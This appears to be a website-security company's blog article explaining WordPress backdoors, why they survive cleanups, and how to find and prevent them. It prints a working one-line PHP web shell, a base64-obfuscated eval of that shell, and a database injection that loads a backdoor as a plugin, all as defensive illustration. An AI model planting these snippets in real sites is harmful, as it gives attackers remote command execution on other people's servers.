Revenue Driven For Clients

2,120,240,443

What Is a Website Backdoor — and Why Simply Deleting Malware Isn’t Enough

You found the malware. You deleted the infected files. You ran the scanner it came back clean. Then three days later, your site is redirecting visitors to spam again.
This is one of the most frustrating experiences a website owner can have. And it almost always has one cause: a backdoor that survived the cleanup.
This article explains exactly what a website backdoor is, why they’re almost impossible to find without forensic-level analysis, and why every malware cleanup must include backdoor removal to have any chance of being permanent.

Key Statistic
49.21% of all compromised WordPress websites contained at least one backdoor at the time of discovery.
In 2025, uploader backdoor scripts nearly doubled in volume attackers are deliberately shifting strategy toward persistence rather than one-time infections.
Source: Sucuri 2023 Hacked Website Report + Patchstack 2026 State of WordPress Security

What Is a Website Backdoor?

A website backdoor is a hidden entry point a file, code snippet, or database entry that allows an attacker to access your website’s server without going through the normal login process.
Unlike a front door that requires valid credentials, a backdoor bypasses authentication entirely. The attacker accesses it directly via URL, sending commands your server executes immediately.
Think of it like this: you change the locks on your front door (reset your WordPress admin password), but the attacker already has a hidden cat-flap around the back that your new locks don’t affect.

What Attackers Do With a Backdoor

•  Upload new malware files after you delete them
•  Create new admin accounts after you remove theirs
•  Reinstall redirect scripts after you clean the .htaccess
•  Inject SEO spam into the database repeatedly
•  Monitor activity and steal data silently
•  Launch attacks on other websites from your server

Malware Keeps Coming Back? It's a Backdoor. SEOHUB Finds Them All.

Our forensic cleanup process locates and removes every backdoor including obfuscated and disguised ones that scanners miss.

The 5 Types of Backdoors Found on WordPress Sites

1. Web Shell (Remote Code Execution Backdoor)

The most common type. A small PHP file that accepts and executes any command the attacker sends via HTTP requests. Often disguised as an image file or a WordPress core file.

// Typical web shell — disguised as: wp-content/uploads/2024/img_thumb.php <?php if(isset($_REQUEST['c'])){ @system($_REQUEST['c']); } ?> // Attacker visits: yoursite.com/wp-content/uploads/2024/img_thumb.php?c=ls+-la // This lists all files on the server — giving full reconnaissance access.

2. Uploader Backdoor

Allows the attacker to upload any file to your server. Used to re-plant malware after cleanup. Patchstack data shows uploader scripts nearly doubled in volume in June 2025 attackers are specifically investing in these as their primary persistence mechanism.

3. Fake Plugin Backdoor

A malicious plugin installed in your WordPress dashboard that looks like a legitimate tool. The 2025 ‘Ultra SEO Processor’ campaign infected 1,000+ sites with a fake plugin that automatically recreated admin accounts after they were deleted.

Fake Plugin Name What It Actually Did
Ultra SEO Processor Executed attacker commands, maintained admin access, reinstalled malware
DebugMaster Exfiltrated credentials, delivered external payloads
WP Cache Pro (generic name) Redirect script container, maintained persistent redirect functionality

4. Database Backdoor

Malicious code injected directly into the WordPress database typically the wp_options table. This type is invisible to file-based scanners because the code lives in the database, not in any PHP file.

// Attacker inserts this into the wp_options table: // option_name: 'active_plugins' // option_value: a:1:{i:0;s:29:"../uploads/2024/backdoor.php";} // WordPress then 'activates' the backdoor file as if it were a plugin // It runs on every page load — without appearing in the Plugins screen

5. Cron Job Backdoor

A scheduled task (cron job) set up on your hosting server that re-downloads and reinstalls malware at regular intervals. Even if you completely clean the site, the cron job fires at 3am and the infection returns.
• Server-level cron jobs are not visible in your WordPress admin or FTP file manager
• They require cPanel access to detect and remove
• Some cron jobs are set to run every 5 minutes making reinfection practically instantaneous

What You Did Why It Didn't Remove the Backdoor
Ran a WordPress security plugin scan Most plugins only scan known malware signatures; custom backdoors and obfuscated code are often missed.
Deleted all infected files listed by the scanner Scanners show what they detect, not everything that's there; backdoors are specifically designed to evade scanners.
Reinstalled WordPress core Core files were replaced, but backdoors in wp-content/uploads and themes were untouched.
Changed all passwords Backdoors bypass authentication; your new password is irrelevant to an attacker with shell access.
Restored from backup If the backup predates the infection, great—but the vulnerability that allowed the hack still exists and the attacker can re-enter within hours.
Deleted suspicious plugins Multiple backdoors were planted; removing one may leave several others intact.

How Attackers Disguise Backdoors

Backdoors are intentionally designed to look like normal files. Here are the most common disguise techniques:

File Extension Tricks

image001.jpg.php — appears to be an image, executes as PHP wp-config.backup.php — looks like a backup file xmlrpc.php — mimics a legitimate WordPress file by using the same name .htaccess.php — hidden file that also executes as PHP

Obfuscation with Encoding

Base64 encoding is the most common technique it converts readable PHP code into a long string of letters and numbers that looks like random noise to human reviewers but executes normally when PHP decodes it:

eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydjJ10pKXtAc3lzdGVtKCRfUkVRVUVTVFsnYyddKTt9')); ?> // The base64 string above decodes to the shell from the previous example. // File scanners that look for 'system(' will miss this entirely.

Legitimate-Looking File Names in Wrong Locations

wp-content/uploads/2024/06/wp-login.php — not supposed to be here wp-content/uploads/images/wp-settings.php — uploads folder has no PHP files legitimately wp-content/themes/twentytwentyone/class.php — not part of the real theme

The 393-Day Backdoor

A sophisticated 2024-2025 campaign (UNC5221 BRICKSTORM) demonstrated backdoors remaining active and undetected for an average of 393 days more than a year. In less sophisticated (but far more common) WordPress attacks, backdoors typically go undetected for weeks to months before a symptom triggers investigation. Source: Vectra AI threat intelligence 2025

What Proper Backdoor Removal Looks Like

Professional forensic backdoor removal goes far beyond running a scanner. Here is what a thorough cleanup covers:

  1. Full server-side file scan: every PHP file across the entire hosting account, not just the WordPress directory
  2. Manual review of suspicious files: obfuscated code is decoded and analysed, not just pattern-matched
  3. Database audit: all tables checked for injected code, not just wp_posts
  4. cPanel scan: cron jobs reviewed and unauthorised tasks removed
  5. Active process audit: any running processes consuming server resources are identified
  6. File permission audit: writable directories that allow new file uploads are locked down
  7. FTP account audit: any unauthorised FTP users are removed
  8. Root cause analysis: the vulnerability that let the attacker in is identified and patched
  9. Post-cleanup verification: 48 hours of monitoring to confirm no reinfection

Stop the Reinfection Cycle. Get a Forensic Backdoor Cleanup.

SEOHUB’s security team removes every backdoor not just what scanners can find. Most sites permanently clean within 48 hours.

Preventing Backdoors: What Protects You

Prevention Measure Why It Stops Backdoors
Web Application Firewall (WAF) Blocks malicious requests before they reach PHP files; prevents backdoor installation during an attack.
Disable PHP execution in uploads folder The most effective server-level fix: the uploads folder never needs to execute PHP files.
File integrity monitoring Alerts you the moment a new PHP file appears anywhere unexpected.
Weekly automated malware scans Catches newly planted backdoors before they cause damage.
Remove all unused plugins and themes Inactive code is a common backdoor hiding location; delete anything you're not actively using.
Never use nulled/pirated themes or plugins These often come pre-loaded with backdoors by design.

# Add this to .htaccess to prevent PHP execution in uploads folder:

<Directory /public_html/wp-content/uploads>

<FilesMatch “\.php$”>

Order Deny,Allow

Deny from All

</FilesMatch>

</Directory>

# This is one of the most effective single server-hardening steps you can take.

Frequently Asked Questions

How do I know if my site has a backdoor?

The most reliable sign is reinfection malware keeps returning after cleanup. Other indicators include unexplained new admin accounts, unknown PHP files in your uploads folder, cron jobs you didn’t set, and unexplained high server CPU usage. The only way to confirm all backdoors are gone is through a full forensic scan.

Can I find and remove backdoors myself?

You can check your uploads folder for .php files via FTP and look for obvious shells. But obfuscated backdoors, database backdoors, and cron-job-based backdoors require deeper technical access and knowledge to find. If malware keeps returning, professional forensic cleanup is the practical path forward.

Do security plugins find backdoors?

Wordfence and Sucuri Scanner detect known backdoor signatures specific patterns of code that match their databases. However, custom backdoors, heavily obfuscated shells, and database-injected backdoors regularly evade signature-based scanning. Professional manual review catches what plugins miss.

SHARE:

Leave a Comment

Your email address will not be published. Required fields are marked *